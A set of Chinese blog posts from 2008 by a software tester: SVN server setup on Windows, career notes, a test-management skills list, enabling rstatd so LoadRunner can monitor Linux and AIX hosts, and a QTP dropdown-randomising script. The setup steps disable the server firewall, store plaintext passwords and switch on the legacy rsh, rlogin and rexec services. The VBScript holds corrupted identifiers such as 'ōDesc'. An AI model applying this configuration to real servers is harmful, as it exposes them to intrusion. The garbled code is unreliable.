                    SVNService.rar(http://www.cnblogs.com/Files/changchangcc520/SVNService.rar
    二.安装过程
      1.安装SVN服务器,直接运行这个.EXE文件即可,无须设置,一路默认下去,完成SVN服务器安装。
      2.新建一个版本控制库,运行CMD程序,输入svnadmin create D:\SVNRoot(具体位置可以自己定义)。
      3.安装SVN服务,因为WINDOWS默认是没有的,那就要自己安装,把SVNService解压到SVN安装文件的BIN目录下,在命令行中输入:
      svnservice -install -d -r D:\SVNRoot
      然后再启动SVN服务,输入:
      net start svnservice,
      SVN在默认情况下是不会自动启动的,需要到控制面板管理下的服务中将SVNSERVER设为自动启动。
      4.安装SVN客户端,直接运行TortoiseSVN安装文件,也无须特殊设置,安装完毕后会提示你重启(不重启也可以用)(客户端机器只需要安装TortoiseSVN)。
    三.服务器端配制
      1.找到D:\SVNRoot文件下的conf目录,对svnserver.conf,passwd,author进行配置
    svnserve.conf
    [general]
    ### These options control access to the repository for unauthenticated
    ### and authenticated users. Valid values are "write", "read",
    ### and "none". The sample settings below are the defaults.
    anon-access = read
    auth-access = write
    ### The password-db option controls the location of the password
    ### database file. Unless you specify a path starting with a /,
    ### the file's location is relative to the conf directory.
    ### Uncomment the line below to use the default password file.
    password-db = passwd
    含义是:
      未验证用户无任何权限 (如果把none修改为read就是给予读权限)
      已验证用户给予写权限 (当然也能读)
      密码数据存放到passwd文件中

    passwd
    [users]
    #harry = harryssecret
    #sally = sallyssecret
    admin=admin111
    lvzy=lvzy111
    含义是:
      增加了admin这个用户,密码为admin111
      增加了lvzy这个用户,密码为lvzy111

    Author
    [groups]
    # harry_and_sally = harry,sally
      进行用户组的配制
    比如:
    Lantian=admin,lvzy
    含义是将admin,lvzy加入到组Lantian中去
    # [repository:/baz/fuz]
    # @harry_and_sally = rw
    # * = r
      进行文件权限的设置
      比如存在libs这个文件,而我只希望admin一个人可以读写,lvzy有读权限,未授权的无法访问,则可以这样写
    [/libs]
    admin=rw
    lvzy=r
    *=none
    注:*表示匿名用户

    四.测试SVN
      在客户端(当然也可以是本机),右击点TortoiseSVN-》Repo_Browser在弹出的URL中输入svn://服务器IP,点击OK,这时会要求你输入用户名和密码,你将你在passwd中设置的用户和密码在这里输入就可以了,然后你就可以看到版本库的内容,当然刚开始是新的,具体的客户端使用请查看其他文档。
    五. 说明
      服务器端防火墙应关闭,否则,将直接影响访问速度或不可访问。
      服务器端的安装可以完全按照以上四步的操作进行(可以不在服务器上安装客户端,即不执行二.4步骤);客户端的安装,只需要执行二.4步操作,安装客户端软件即可。客户端使用时,打开IE浏览器按第四步骤输入:svn://IP 即可。

  • 工作中的烦恼与成长

    2008-03-03 20:40:35

       我到新公司上班也有了5-6天了,这几天里感觉真的很累,也很头痛.因为自己以前学的测试知识或工具,到现在这家公司用不到多少.而且我要熟悉公司的业务知识都得花个1个月,不知道还能待到那个时候不?我待在的是BI产品测试组,做的是智能产品系统的测试,比如中国电信的计费系统什么的.光是里面的专业术语我就得死多少脑细胞了,以前我用的是TD,现在公司的是CQ;数据库以前用过Sql2000与Mysql,而公司现在用的是Oracle,以前用VSS,现在用Svn,还要学Erwin.总之要学的东西太多了,我也相信我自己能做到的.

      但是我自己也有心中的苦闷,这就是为什么我这段时间真的过的很辛苦.感觉时间很漫长!~!等过了那关后我想自己就会心静下来了.

  • 软件测试管理技能总结

    2008-03-03 20:30:40

    总结:

    如果你是测试员或是高级测试员,有志转向管理发展,那么需要加强以下几点:

    1. 测试计划的编写(要结合测试的项目,能以此来控制和确定测试所需人员,设备及时间来管理测试时间)

    2. 要熟悉BUG跟踪工具及软件测试流程.(如: TD, Bugzilla, CQ等)

    3. 要熟悉配置管理工具. (如: CVS, VSS等)

    4. 要熟悉自动化工具.(例如:WinRunner, QTP, Robot, RFT, Automation等,能结合录制完的脚本编写代码)

    5. 要熟悉压力及性能测试工具.(例如: LoadRunner, webload, silkperformance等,能结合相关数据,分析出性能瓶颈)

    6. 要熟悉或精通一门语言. (例如: Java, C++)

    7. 要熟悉数据库.(例如: Oracle, DB2, SQLServer, MySQL)

    8. 要熟悉主流操作系统. (例如: HP Unix, IBM AIX, Sun Solaris, Red Hat Linux, SuSE Linux, Windows)

    9. 能用英文流利的和老外交流以及往来Email.

    10. 语言表达能力强,表达问题清晰明了.

    11. 沟通能力强,能和上级/开发经理很好的达成测试相关/BUG事宜.

    12. 学习技术的能力要强,能快速上手一个新的技术.

    13. 乐于与人交流.
  • 用LOADRUNNER怎么监控Linux主机----详细学习资料

    2008-02-26 14:48:51

    用LOADRUNNER怎么监控Linux主机----详细学习资料

    一、监控linux
    1 准备工作
       可以通过两种方法验证服务器上是否配置了rstatd守护程序:
        ①使用rup命令,它用于报告计算机的各种统计信息,其中就包括rstatd的配置信息。使用命令rup 10.130.61.203,此处10.130.61.203是要监视的linux/Unix服务器的Ip,如果该命令返回相关的统计信息。则表示已经配置并且激活了rstatd守护进程;若未返回有意义的统计信息,或者出现一条错误报告,则表示rstatd守护进程尚未被配置或有问题。
        ②使用find命令
    #find / -name rpc.rstatd,该命令用于查找系统中是否存在rpc.rstatd文件,如果没有,说明系统没有安装rstatd守护程序。
        如果服务器上没有安装rstatd程序(一般来说LINUX都没有安装),需要下载一个包才有这个服务,包名字是rpc.rstatd-4.0.1.tar.gz. 这是一个源码,需要编译,下载并安装rstatd(可以在http://sourceforge.net/projects/rstatd这个地址下载)
    下载后,开始安装,安装步骤如下:
    tar -xzvf  rpc.rstatd-4.0.1.tar.gz
    cd  rpc.rstatd-4.0.1/
    ./configure  —配置操作
    make —进行编译
    make install —开始安装
    rpc.rstatd —启动rstatd进程

    2)安装完成后配置rstatd 目标守护进程xinetd,它的主配置文件是/etc/xinetd.conf ,它里面内容是一些如下的基本信息:
    #
    # xinetd.conf
    #
    # Copyright (c) 1998-2001 SuSE GmbH Nuernberg, Germany.
    # Copyright (c) 2002 SuSE Linux AG, Nuernberg, Germany.
    #
    defaults
    {
            log_type        = FILE /var/log/xinetd.log
            log_on_success  = HOST EXIT DURATION
            log_on_failure  = HOST ATTEMPT
    #        only_from       = localhost
            instances       = 30
            cps             = 50 10
    #
    # The specification of an interface is interesting, if we are on a firewall.
    # For example, if you only want to provide services from an internal
    # network interface, you may specify your internal interfaces IP-Address.
    #
    #       interface       = 127.0.0.1
    }
    includedir /etc/xinetd.d

    我们这里需要修改的是/etc/xinetd.d/下的三个conf文件 rlogin ,rsh,rexec 这三个配置文件,打这三个文件里的disable = yes都改成 disable = no ( disabled 用在默认的 {} 中 禁止服务)或是把# default: off都设置成 on 这个的意思就是在xinetd启动的时候默认都启动上面的三个服务!
      说明:我自己在配置时,没有disable = yes这项,我就将# default: off改为:default: on,重启后(cd /etc/init.d/     ./xinetd restart)通过netstat -an |grep 514查看,没有返回。然后,我就手动在三个文件中最后一行加入disable = no,再重启xinetd,再使用netstat -an |grep 514查看,得到tcp 0 0 0.0.0.0:514 0.0.0.0:* LISTEN结果,表明rsh服务器已经启动。

         只要保证Linux机器上的进程里有rstatd和xinetd这二个服务就可以用LR去监视了
    两点小的技巧:
    ①检查是否启动: rsh server 监听的TCP 是514。
    [root@mg04 root]# netstat -an |grep 514
    tcp 0 0 0.0.0.0:514 0.0.0.0:* LISTEN
    如果能看到514在监听说明rsh服务器已经启动。
    ②检查是否启动: rstatd
    输入命令: rpcinfo -p
    如果能看到类似如下信息:
    程序 版本 协议 端口
    100001    5   udp    937  rstatd
    100001    4   udp    937  rstatd
    100001    3   udp    937  rstatd
    100001    2   udp    937  rstatd
    100001    1   udp    937  rstatd
    那就说明rstatd服务启动了,(当然这里也可以用ps ax代替)
    ③重起xinetd方法:
    在suse linux如下操作:
    cd /etc/init.d/
    ./xinetd restart
    看到网上有的地方说使用如下命令:
    # service xinetd reload
    # /sbin/service xinetd rstart
    不知道是在什么系统用的。
    ④安装rsh,和rsh-server两个服务包方法
    a. 卸载rsh
    # rpm –q rsh----------查看版本号
    # rpm -e 版本号---------卸载该版本。
    b.安装
    # rpm –ivh rsh-0.17-14.i386.rpm rsh-server-0.17-14.i386.rpm
    ⑤在启动rpc.rstatd时,会报错“Cannot register service: RPC: Unable to receive; errno = Ction refused”。
    解决方法如下:
    # /etc/init.d ./portmap start
    # /etc/init.d ./nfs start
    然后再次启动rpc.rstatd就好了。

    最后,在controller中,将UNIX resources拖放到右边窗口里面,右击鼠标选择Add Measurements,添加被监控linux的IP地址,然后选择需要监控的指标就可以了。

    二、监控UNIX
    lr监控UNIX ,UNIX先启动一rstatd服务
       以下是在IBM AIX系统中启动rstatd服务的方法:
    1、        使用telnet以root用户的身份登录入AIX系统
    2、        在命令行提示符下输入:vi /etc/inetd.conf
    3、        查找rstatd,找到
    #rstatd   sunrpc_udp     udp     wait    root    /usr/sbin/rpc.rstatd rstatd 100001 1-3
    4、将#去掉
    5、:wq保存修改结果
    6、命令提示符下输入:refresh –s inetd 重新启动服务。
    这样使用loadrunner就可以监视AIX系统的性能情况了。

    注:在HP UNIX系统上编辑完inetd.conf后,重启inetd服务需要输入inetd -c
    UNIX上也可以用rup命令查看rstatd程序是否被配置并激活
    若rstatd程序已经运行,重启时,先查看进程ps -ef |grep inet,然后杀掉进程,再refresh –s inetd进行重启。

    三、在LR的Controll里面Unix Resource出现了就可以添加Unix计数器了
  • 转载[楷子狐]随机选择页面上所有下拉框,函数参数怎样设置为一个对象?

    2008-02-19 13:38:49

    给对象添加自定义方法,随机选择页面上所有下拉框

    2008-02-19 11:57:18 / 个人分类:测试技术

    一个函数,随机选择页面上的下拉框:软件测试专业网站:51Testing软件测试网/A@k$L&g!U*B
    ××××××××××××××××××××××××××××××××××××××××××××××

     dim i 
     Set ōDesc = Descrīption.Create()
    oDesc("html tag").Value = "SELECT"
     oDesc("disabled").Value = 0
    Set lists = myPage.ChildObjects(oDesc)
     For i = 0 To Lists.Count - 1
     Lists(i).select RandomNumber(0, Lists(i).GetROProperty("items count")-1)
    Next
    End Sub

    AllSelect(rightFrame) '“rightFrame”为一个框架页面,过程调用成功!

    ×××××××××××××××××××××××××××××××××××××××××××××××

    同理,给对象添加方法:

    Public Sub  AllSelect(byref myPage)
     Set ōDesc = Descrīption.Create()
     oDesc("html tag").Value = "SELECT"
    oDesc("disabled").Value = 0
    Set lists = myPage.ChildObjects(oDesc)
    For i = 0 To Lists.Count - 1
    Lists(i).select RandomNumber(0, Lists(i).GetROProperty("items count")-1)
     Next
    RegisterUserFunc "Frame", "AllSelect", "AllSelect",True

    rightFrame.AllSelect  '“rightFrame”为一个框架页面,方法调用成功

    ×××××××××××××××××××××××××××××××××××××××××××××××

    问题解决

    Public Sub  AllSelect(byref myPage)
            dim i
            Set ōDesc = Descrīption.Create()
            oDesc("html tag").Value = "SELECT"
            oDesc("disabled").Value = 0
            Set lists = myPage.ChildObjects(oDesc)
            For i = 0 To Lists.Count - 1
                    Lists(i).select RandomNumber(0, Lists(i).GetROProperty("items count")-1)
            Next
    End Sub
    RegisterUserFunc "Frame", "AllSelect", "AllSelect",True

    rightFrame.AllSelect '成功!
331/212>
Open Toolbar